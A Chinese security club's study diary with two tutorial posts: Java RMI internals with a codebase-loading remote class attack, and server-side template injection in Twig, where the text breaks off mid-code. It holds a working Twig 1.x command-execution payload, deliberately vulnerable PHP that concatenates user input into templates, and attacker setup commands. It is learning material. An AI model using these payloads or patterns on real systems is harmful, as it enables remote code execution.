皮蛋厂的学习日记 2022.03.03 JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

admin 2022年3月4日05:14:42评论136 views字数 23727阅读79分5秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~

  • 2020级 sp4c1ous | JAVA反序列化之 RMI

    • 前置知识

    • 攻击

    • 小结

  • 2020级 AndyNoel | 不同模板引擎的SSTI(上)

    • 0x00 前言

    • 0x01 SSTI(模板注入漏洞)

    • 0x02 PHP中的SSTI

    • 0x03 GO SSTI

WEB

2020级 sp4c1ous | JAVA反序列化之 RMI

前置知识

RMI 简介

RMI(Remote Method Invocation)即 远程方法调用 。能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法。它支持序列化的Java类的直接传输和分布垃圾收集。

Java RMI的默认基础通信协议为JRMP,但其也支持开发其他的协议用来优化RMI的传输,或者兼容非JVM,如WebLogic的T3和兼容CORBA的IIOP。

JRMP :Java Remo--te Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范

远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,例如CORBA、WebService,这两种是独立于编程语言的。而Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

简单说一下我的理解吧,之前我们接触了反射,反射的功能就是为了方便我们编程,通过写好的几个类,比如 Class类 、Object类、等等类中的方法来使编程人员可以无视方法、变量访问权限修饰符来调用任何类的任意方法、访问并修改成员值来实现一些功能,提供一些便利。

RMI 也是一样,只不过它的范围更夸张了一些,它把范围从我们本身扩展到了更远的远程对象,利用协议对远程的对象的方法来进行调用,提供了更多的可能性和便利。

当然这么说可能也有些不太妥当,中间还涉及到了一些权限上的问题,比如B调用了A的RMI方法来实现对A中数据的访问和操作,但是所有数据和权限还在A的控制范围之内,不用担心B可能会窃取之类的一些问题。这也是RMI的一些优势所在。

实现

首先要明确一点:RMI 是基于反序列化的!后面我们要狠狠得用到这一点。

使用远程方法调用,会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型,当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化,这要求相应的类必须实现 java.io.Serializable 接口,并且客户端的serialVersionUID字段要与服务器端保持一致。

在 JVM 之间通过 RMI 进行远程对象的调用时,并不是简单地直接将远程对象复制一份传递给客户端,而是传递了一个远程对象 Stub ,Stub 基本上相当于是远程对象的引用或者 代理 (java 在 RMI 中用到了代理模式)。Stub 对象对于我们是透明的,客户端可以像调用本地方法一样直通过 Stub 对象来调用远程的方法。

Stub 中包含了远程对象的定位信息,比如 Socket 端口、服务端主机等等,并且实现了远程调用过程中的底层网络偷心细节,具体的调用逻辑如下

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

这里架构中的名词解释如下:

传输层( Transport Layer ) - 此层连接客户端和服务器。它管理现有的连接,并设置新的连接。

存根( Stub ) - 存根是客户端上的远程对象的表示(代理)。它位于客户端系统中; 它作为客户端程序的网关。

骨架( Skeleton ) - 它位于服务器端的对象。存根与此骨架通信以将请求传递给远程对象。

RRL( 远程参考层 ) - 它是管理客户端对远程对象的引用的层。

数据就是像图中描述得这样先经过了由 Client 到 Stub ,然后开始进行横向的数据交换,再经过纵向流动经过 Skeleton 向上到达 Server ,再具体一些是这样的:

  1. Server 端监听一个端口,这个端口是 JVM 随机选择的,然后将信息通过一系列的交换传入到 Stub 中
  2. Stub 中获取到了这些信息,同时还封装了一系列的底层网络操作等
  3. Client 端可以调用 Stub 上的方法
  4. Stub 连接到 Server 端坚挺的通信端口并提交参数
  5. 远程 Server 端上执行具体的方法,并将返回结果再返回给 Stub
  6. Stub 再将执行结果返回给 Client 端,在 Clinet 端看就像是 Stub 在本地执行了这个方法一样

Stub 获取

可以看到,在整个过程中,Stub 是占据了十分重要的地位的,那么我们到底是怎么获取 Stub 的呢?

Stub 显然处于远程,假设我们可以通过调用某个远程服务上的方法向远程服务获取,但是调用远程方法又必须先有远程对象,这里就变成了一个死循环。

这里 JDK 提供了一个 RMI 注册表来解决这个问题,也就是 RMIRegistry 。RMIRegistry 是一个远程对象,默认在 1099 端口上,可以使用代码启动,也可以使用 rmiregistry 命令启动。

这里借知道创宇的图来展现一下 RMI 的调用关系:

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

所以从客户端的角度来看的话,服务端应用会有两个端口,其中一个就是上图里上面部分要用到的 RMI Registry 端口,另一个则是远程对象的通信端口,也就是下面的调用远程方法时随机分配的端口。通常情况下我们只需要知道 Registy 端口就够了,Server 的端口包含在 Stub 中。

RMI Registry可以和Server端在一台服务器上,也可以在另一台服务器上,不过大多数时候在同一台服务器上且运行在同一JVM环境下。

RMI 的编写与分析

上面的理论非常详细地解释了整个 RMI 的实现过程和其中的一些细节,后面我们会来详细地看一下其中的序列化与反序列话,这也是我们在之后要用到的。(学JAVA学得我自己也都快忘了这个系列是 JAVA 的反序列化漏洞学习了)

不过在进行分析之前我们应该先写好一个 RMI 程序。

刚刚我们已经系统学习了 RMI 的实现过程,那我们也一定知道 RMI 的三个部分:

  1. Server 端
  2. Client 端
  3. 以及二者之间的 RMI Registry

我们在编写 RMI 的过程中要用到的方法都是封装好的,都在JDK自带的包 java.rmi.* 中,和 JAVA 中的其他包类似,主要提供一些类、接口和异常。其中:

  • java.rmi 提供客户端的
  • java.rmi.server 提供服务端的
  • java.rmi.registry 提供 Registry

具体的还是要查看相关的手册的,代码放在下面,一个比较简单的例子来辅助我们理解刚才复杂的原理:

Server:

package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 1099;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);

            // 创建一个服务
            RMIInterface rmiInterface = new RMIImpl();

            // 服务命名绑定
            Naming.rebind(RMI_NAME, rmiInterface);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上述代码中,就是在 1099 端口起了RMI服务,用 Naming.rebind 存储了 RMI_NAME 和 rmiInterface 的对应关系,也就是rmi://127.0.0.1:1099/hello对应一个 RMIImpl 类实例,然后通过Naming.rebind(RMI_NAME, rmiInterface)绑定对应关系。其中实例化了 rmi 接口来创建服务,这两个部分的编写如下:

第一部分是 对接口的简单定义:

package com.test.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String hello() throws RemoteException;
}

继承自 Remote ,然后定义了我们这里用来测试的远程方法,然后抛出异常 throws RemoteException

另一个部分则是实现真正功能的类 我们可以叫他 RMIImpl

package com.test.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIImpl() throws RemoteException {
        super();
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("call hello().");
        return "this is hello().";
    }

}

里面写好了我们客户端要远程调用的方法 hello() ,以及 super() ,这里继承自 UnicastRemoteObject 类,并且实现之前定义的 RMIInterface 接口的 hello() 方法。super 可以理解为是指向自己超(父)类对象的一个指针,而这个超类指的是离自己最近的一个父类。这里也就是 UnicastRemoteObject 了, UnicastRemoteObject 类提供了很多支持 RMI 的方法,具体来说,这些方法可以通过JRMP协议导出一个远程对象的引用,并通过动态代理构建一个可以和远程对象交互的 Stub 对象。

然后是 Client 的编写,这个比较简单的:

package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import static com.test.rmi.RMIServer.RMI_NAME;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1"1099);
            // 获取所有注册的服务
            String[] list = registry.list();
            for (String i : list) {
                System.out.println("已经注册的服务:" + i);
            }

            // 寻找RMI_NAME对应的RMI实例
            RMIInterface rt = (RMIInterface) Naming.lookup(RMI_NAME);

            // 调用Server的hello()方法,并拿到返回值.
            String result = rt.hello();

            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里就有我们一开始分析的味道了,这里通过 Registry 注册表那道了所有已经注册的服务,也就是我们之前在 Server 端编写好的,在启动 Server 后即可注册。我们可以经过强制类型转换的 Naming.lookup(RMI_NAME) 来找到我们的 hello ,这样也就拿到了远程对象,进而可以直接通过对象来调用远程方法。

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)
皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)
简化

我们还可以简化一下我们的代码,原本我们三部分中的 RMI Registry 实际上可以合进 Server 中,成为两部分,也就是简化掉上面代码中的 Impl 和接口。

比如:

LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello"new RemoteHelloWorld());

第一行就是创建并运行 RMI Server,接着第二行则是将 RemoteHelloWorld 对象绑定到 Hello 这个名字上。

Naming.bind 的第一个参数是一个URL,形如:rmi://host:port/name 。其中,host 和 port 就是 RMI Registry 的地址和端口,name是远程对象的名字。

如果 RMI Registry 在本地运行,那么 host 和 port 是可以省略的,此时 host 默认是 localhost ,端口默认是 1099 :

Naming.bind("Hello"new RemoteHelloWorld());

抓包分析

组成梳理

这里我们可以根据抓包来看:

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

这就是完整的通信过程,其中经过了两次 TCP 握手,也就是在整个过程中建立过两次 TCP 连接。

第一次是在代码中设置好的端口,也就是 1099 端口,

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

第二次则是一个我们没见过的端口

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

这好像正好对应了我们随机生成的那个端口,也就是调用远程方法时随机分配的端口。

所以也进一步验证了我们一开始给出的 RMI 通信的过程与组成,也就是这个:

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

之后我们可以简单看一下包内的数据,发现了这样的一段数据:

0000   02 00 00 00 45 00 01 6a 0c 7d 40 00 40 06 00 00   ....E..j.}@.@...
0010 7f 00 00 01 7f 00 00 01 04 4b 04 a3 41 d6 71 eb .........K..A.q.
0020 e7 34 e6 45 50 18 27 f9 84 42 00 00 51 ac ed 00 .4.EP.'..B..Q...
0030 05 77 0f 01 64 cb 3e dc 00 00 01 7f 45 6f b0 ef .w..d.>.....Eo..
0040 80 0e 73 7d 00 00 00 02 00 0f 6a 61 76 61 2e 72 ..s}......java.r
0050 6d 69 2e 52 65 6d 6f 74 65 00 19 63 6f 6d 2e 74 mi.Remote..com.t
0060 65 73 74 2e 72 6d 69 2e 52 4d 49 49 6e 74 65 72 est.rmi.RMIInter
0070 66 61 63 65 70 78 72 00 17 6a 61 76 61 2e 6c 61 facepxr..java.la
0080 6e 67 2e 72 65 66 6c 65 63 74 2e 50 72 6f 78 79 ng.reflect.Proxy
0090 e1 27 da 20 cc 10 43 cb 02 00 01 4c 00 01 68 74 .'. ..C....L..ht
00a0 00 25 4c 6a 61 76 61 2f 6c 61 6e 67 2f 72 65 66 .%Ljava/lang/ref
00b0 6c 65 63 74 2f 49 6e 76 6f 63 61 74 69 6f 6e 48 lect/InvocationH
00c0 61 6e 64 6c 65 72 3b 70 78 70 73 72 00 2d 6a 61 andler;pxpsr.-ja
00d0 76 61 2e 72 6d 69 2e 73 65 72 76 65 72 2e 52 65 va.rmi.server.Re
00e0 6d 6f 74 65 4f 62 6a 65 63 74 49 6e 76 6f 63 61 moteObjectInvoca
00f0 74 69 6f 6e 48 61 6e 64 6c 65 72 00 00 00 00 00 tionHandler.....
0100 00 00 02 02 00 00 70 78 72 00 1c 6a 61 76 61 2e ......pxr..java.
0110 72 6d 69 2e 73 65 72 76 65 72 2e 52 65 6d 6f 74 rmi.server.Remot
0120 65 4f 62 6a 65 63 74 d3 61 b4 91 0c 61 33 1e 03 eObject.a...a3..
0130 00 00 70 78 70 77 36 00 0a 55 6e 69 63 61 73 74 ..pxpw6..Unicast
0140 52 65 66 00 0d 31 37 32 2e 32 37 2e 34 34 2e 31 Ref..172.27.44.1
0150 32 33 00 00 04 7a d2 d3 ab 51 9e 24 56 e7 64 cb 23...z...Q.$V.d.
0160 3e dc 00 00 01 7f 45 6f b0 ef 80 01 01 78 >.....Eo.....x

这里实际上就是一段 JAVA 序列化的数据!从 16 进制的 ac ed 就可以看得出来,在第三行末尾。

这就是我们一开始所说的 RMI 实际上是通过序列化的方式传递数据的,这也很好理解,这一部分内容我们在一开始学习 PHP 反序列化的时候就有所理解了,序列化的方式是编译数据进行传输的,所以反过来,数据传输的时候,尤其是有一定复杂程度的时候,那很可能就是依赖于序列化的。

通信分析

我们进一步分析可以发现,每一个被 Wireshark 识别为 RMI 的包,其中都会存在着一段 JAVA 的序列化。

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)
皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

其中有一部分携带的内容正是我们写的 hello (P牛在这里实际上是分析的 codebase 的测试代码抓的包,但是我觉得这里也可以进行类似的分析)

首先我们赋值为 hex 编码,截取出序列化的部分

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)
aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf74000568656c6c6f

我们可以使用 SerializationDumper 工具对序列化进行反序列化为字符串,得到了如下信息:

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

关于这些信息的含义我们需要去查阅一下文档了

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

可以看到这里的结构也比较复杂,找到我们上面对应的部分

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 34 - 0x22
Contents - 0x000000000000000000000000000000000000000000000000000244154dc9d4e63bdf
TC_STRING - 0x74
newHandle 0x00 7e 00 00
Length - 5 - 0x00 05
Value - hello - 0x68656c6c6f

这里在 P牛的口中是一种类似 BNF 的形式的语法,但是我也不太清楚什么是 BNF,在简单的查看后大致明白了是什么样的一种形式

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)
皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

大概类似于文件夹,我们可以一级级地往上找,上图中可以看到 TC_BLOCKDATA 这部分对应的是 contents -> content -> blockdata -> blockdatashort ,而 TC_STRING 这部分对应的是 contents -> content -> object-> newString 。都可以在文档里找到完整的语法定义。

这一整个序列化对象,其实描述的就是一个字符串,其值是 hello 。意思是获取远程的 hello 对象。

接下来是这里

aced0005770f0164cb3edc0000017f456fb0ef800e737d00000002000f6a6176612e726d692e52656d6f74650019636f6d2e746573742e726d692e524d49496e7465726661636570787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b7078707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c65720000000000000002020000707872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300007078707736000a556e6963617374526566000d3137322e32372e34342e3132330000047ad2d3ab519e2456e764cb3edc0000017f456fb0ef80010178

反序列化:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 15 - 0x0f
Contents - 0x0164cb3edc0000017f456fb0ef800e
TC_OBJECT - 0x73
TC_PROXYCLASSDESC - 0x7d
newHandle 0x00 7e 00 00
Interface count - 2 - 0x00 00 00 02
proxyInterfaceNames
0:
Length - 15 - 0x00 0f
Value - java.rmi.Remote - 0x6a6176612e726d692e52656d6f7465
1:
Length - 25 - 0x00 19
Value - com.test.rmi.RMIInterface - 0x636f6d2e746573742e726d692e524d49496e74657266616365
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 23 - 0x00 17
Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
newHandle 0x00 7e 00 01
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Object - L - 0x4c
fieldName
Length - 1 - 0x00 01
Value - h - 0x68
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 37 - 0x00 25
Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
java.lang.reflect.Proxy
values
h
(object)
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 45 - 0x00 2d
Value - java.rmi.server.RemoteObjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
serialVersionUID - 0x00 00 00 00 00 00 00 02
newHandle 0x00 7e 00 04
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_CLASSDESC - 0x72
className
Length - 28 - 0x00 1c
Value - java.rmi.server.RemoteObject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
newHandle 0x00 7e 00 05
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_NULL - 0x70
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 06
classdata
java.rmi.server.RemoteObject
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 54 - 0x36
Contents - 0x000a556e6963617374526566000d3137322e32372e34342e3132330000047ad2d3ab519e2456e764cb3edc0000017f456fb0ef800101
TC_ENDBLOCKDATA - 0x78
java.rmi.server.RemoteObjectInvocationHandler
values
<Dynamic Proxy Class>

这里是一个 java.lang.reflect.Proxy 对象,具体的分析也不多赘述了,其中有一段数据存在

objectAnnotation->contents

0x000a556e6963617374526566000d3137322e32372e34342e3132330000047ad2d3ab519e2456e764cb3edc0000017f456fb0ef800101
皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

可以看到这里记录了 地址,P牛说这里还记录了端口,但是我没解码出来..

总而言之,在这一步拿到RMI Server的地址和端口后,本机就会去连接并正式开始调用远程方法。

未完成的分析

这里少分析了一个部分,就是 basecode 的传输。

这一段由 50 ac ed 开头,50 是指 RMI Call ,后面就是序列化的数据了,由于没有抓这个包进行分析,所以借用一下 P牛的图

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

可见,我们的 codebase 是通过 [Ljava.rmi.server.ObjID;classAnnotations 传递的。

攻击

不知道 RMI 是什么那我们针对 RMI 的攻击当然也很难展开,网络攻防可不是简单的一个一个 payload 去打。

这里还是根据 P牛 提出的两个问题来学习:

  1. 如果我们能访问RMI Registry服务,如何对其攻击?
  2. 如果我们控制了目标 RMI 客户端中 Naming.lookup 的第一个参数(也就是RMI Registry的地址),能不能进行攻击?

RMI Registry

根据我们先前所学习的前置知识,如果我们可以访问目标的 RMI Registry 的话,我们对于整个 RMI 的过程实际上已经有了很大的干涉能力,那我们究竟能做到些什么呢?

我们可以把 RMI Registry 理解为一个 远程对象管理的后台,但是 JAVA 对远程访问 RMI Registry 做了限制,只有来源地址是 localhost 的时候才能够调用 rebind 、bind 、unbind 等方法

但是 list 和 lookup 方法是可以远程调用的。

  • list方法可以列出目标上所有绑定的对象
  • lookup作用就是获得某个远程对象

那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,曾经有一个工具https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。

但显然,我们谈了这么久的 RMI 肯定不会只有一个这么窄的攻击面的。

利用 codebase 执行任意代码
codebase

在学习 JAVA 语言的时候会学习到一个很古老的东西,那就是 Applet ,Applet 是用在浏览器中的,使用它的时候我们需要给 HTML 一个地址来找到要用的 JAVA 字节码文件,像这样:

皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

除了 Applet ,实际上在 RMI 中存在远程加载的场景,也会涉及到这里的 codebase。

codebase 很像我们系统中的环境变量,CLASSPATH 、 PATH 这种,功能也类似,就是为了去快捷的找到一个东西,然后调用,不过 codebase 的地址通常是远程 URL ,比如 http 、 ftp 这种。

在 RMI 中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化的时候就会去寻找类。

如果某一段反序列化时发现一个对象,那么就会去自己的 CLASSPATH 下寻找相对应的类,如果没有在本地找到这个类的话就会去远程加载 codebase 中的类。

所以,如果我们可以控制了 codebase 的话,那我们不就可以加载在远程上自己构造的恶意类了么!

而且,在 RMI 中,实际上我们是可以将 codebase 随着序列化数据一起传输的,服务器在接受了反序列化后的数据之后还是会像上面一样,找完 CLASSPATH 就去找 codebase 。进而就产生了漏洞。

不过官方肯定也注意到了这一点,所以这种姿势的利用是由限制的,只有满足了以下条件的 RMI 服务器才能被攻击:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false 其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置
皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)
皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

官方将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。在 java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase ,不再支持从 RMI 请求中获取,所以我们在启动的时候要注意用 -D<>=<> 命令来进行设置。

下面是 P牛给出的测试代码

Server 端:

Clac.java

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;

public class Calc extends UnicastRemoteObject implements ICalc {
    public Calc() throws RemoteException {}

    public Integer sum(List<Integer> params) throws RemoteException {
        Integer sum = 0;
        for (Integer param : params) {
            sum += param;
        }
        return sum;
    }
}

IClac.java

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}

RemoteRMIServer.java

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class RemoteRMIServer {
    private void start() throws Exception {
        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }

        Calc h = new Calc();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("refObj", h);
    }

    public static void main(String[] args) throws Exception {
        new RemoteRMIServer().start();
    }
}

然后还有一个 policy 文件 client.policy

grant {
    permission java.security.AllPermission;
};

policy 是 JAVA 中的一中提供安全策略的文件

语法格式为:

keystore “some_keystore_url", “keystore_type";

grant [ SignedBy “signer_names" ] [ , CodeBase “URL" ] {

Permission permission_class_name [ “target_name" ]

[ , “action"] [, SignedBy “signer_names" ];

Permission ...

};

启动时的命令为:

javac *.java
java -Djava.rmi.server.hostname=192.168.88.141 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer
皮蛋厂的学习日记 2022.03.03  JAVA反序列化之 RMI a 不同模板引擎的SSTI(上)

Client 端:

import java.io.Serializable;
import java.rmi.Naming;
import java.util.List;
import java.util.ArrayList;

public class RMIClient implements Serializable {
    public RMIClient() {
    }

    public void lookup() throws Exception {
        ICalc var1 = (ICalc)Naming.lookup("rmi://192.168.88.141:1099/refObj");
        RMIClient.Payload var2 = new RMIClient.Payload(this);
        var2.add(3);
        var2.add(4);
        System.out.println(var1.sum(var2));
    }

    public static void main(String[] var0) throws Exception {
        (new RMIClient()).lookup();
    }
}

启动 Client 端

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

不过这个 Client 要在另一个地方运行,我们要让 RMI Server 在本地的 CLASSPATH 里找不到类,进而去加载 codebase 中的类。

但是这里会抛出一个 magic value 不正确的错误,这里是因为我们 codebase 中的地址里还没有防止类文件,所i导致了异常,查看日志会发现,example.com 收到了 /RMIClient$Payload.class 的请求。

我们只需要编译一个恶意类,将其 class 文件放置在 Web 服务器的 /RMIClient$Payload.class 即可。

控制 classAnnotations

在上面的抓包分析中,我们可以看到,basecode 是在 classAnnotations 中的。

这里涉及到了一些关于 JAVA 反序列化的知识,我打算放在下一篇文章来讲,下一篇文章就要正式开始我们的反序列化了~

总之,即使我们没有RMI的客户端,只需要修改 classAnnotations 的值,就能控制codebase,使其指向攻击者的恶意网站。

小结

这篇文章主要讲了 RMI 的一些知识,攻击方面的内容很少。实际上我看了很多文章,有很多针对 RMI 的攻击,不过都需要更多的反序列化的相关知识,所以在这里我们小结一下,直接进入反序列化的学习。

事实上 P牛也是这样做的,我想这样的一条学习路线也是 P牛费了一番心思构建出来的,在 JAVA 的学习过程之中,知识点庞杂无比,不像 PHP 一些零零散散的 triks 就能让你好像可以弄明白一个反序列化漏洞。JAVA 的知识点庞杂,现在的 RMI 文章只是一个最表层的介绍,我搜集了各方面的文章来让自己尽可能地弄明白,尽可能的写明白,但是中间还是会有很多的知识点并没有理得太清 …

感谢以下文章及作者:

https://y4er.com/post/java-rmi/

https://paper.seebug.org/1091/#java-rmi

https://github.com/phith0n/JavaThings

以及参考文档和学习资源:

https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html

https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

https://www.oracle.com/java/technologies/javase/7u21-relnotes.html

https://www.runoob.com/java/java-tutorial.html

2020级 AndyNoel | 不同模板引擎的SSTI(上)

0x00 前言

模板引擎是为了使用户界面与业务数据内容分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的 html 代码。模板引擎会提供一套生成 html 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端 html 页面,然后反馈给浏览器,呈现在用户面前。

顺便膜拜楼上大佬(狗头)

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

0x01 SSTI(模板注入漏洞)

漏洞成因是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

目前常见的模板引擎语言主要分为3种,php,python,java,近几年go语言的模板引擎也走进CTF圈视野(暴打出题人)

0x02 PHP中的SSTI

Twig

XSS

有很多php语言的引擎,例如Smarty、Twig等,安装Twig建议通过composer,目前常用版本为3.X,而且相比起来更加安全。

<?php
require_once __DIR__.'/vendor/autoload.php';
$loader = new TwigLoaderArrayLoader();
$twig = new TwigEnvironment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

而在最早的1.X版本下,

<?php

include __DIR__.'/twig/lib/Twig/Autoloader.php';

Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());

echo $twig->render("Hey {$_GET['name']}");// 将用户输入进行拼接,作为模版内容的一部分
?>

Twig使用一个加载器loader(Twig_Loader_Array)来定位模板,以及一个环境变量Twig_Environment来存储配置信息。这段代码在构建模版时,拼接了用户输入作为模板的内容,所以模版引擎没有对渲染的变量值进行编码和转义,利用这一点,再向服务端传入js,就可以进行XSS。

然后简单修改一下:

<?php

include __DIR__.'/twig/lib/Twig/Autoloader.php';

Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());

echo $twig->render("Hey {{name}}"array("name" => $_GET["name"]));// 直接将用户输入作为模版变量的值
?>

这样的话,即使通过get传递name一段JavaScript代码给服务端进行渲染,也会自动进行转义。

SSTI

在Twig模板引擎里,除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值。

在Twig 1.X 模板引擎里,引用三个全局变量,

private $specialVars = [
        '_self' => '$this',
        '_context' => '$context',
        '_charset' => '$this->env->getCharset()',
    ];

利用 _self 变量,它会返回当前 TwigTemplate 实例,并提供了指向 Twig_Environmentenv 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI,比如:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

getFilter

上面这个payload借助了getFilter方法,我们跟踪此方法,在定义此方法时,借用了危险函数call_user_func

php

public function getFilter($name)

{

...

foreach ($this->filterCallbacks as $callback) {

if (false !== $filter = call_user_func($callback, $name)) {

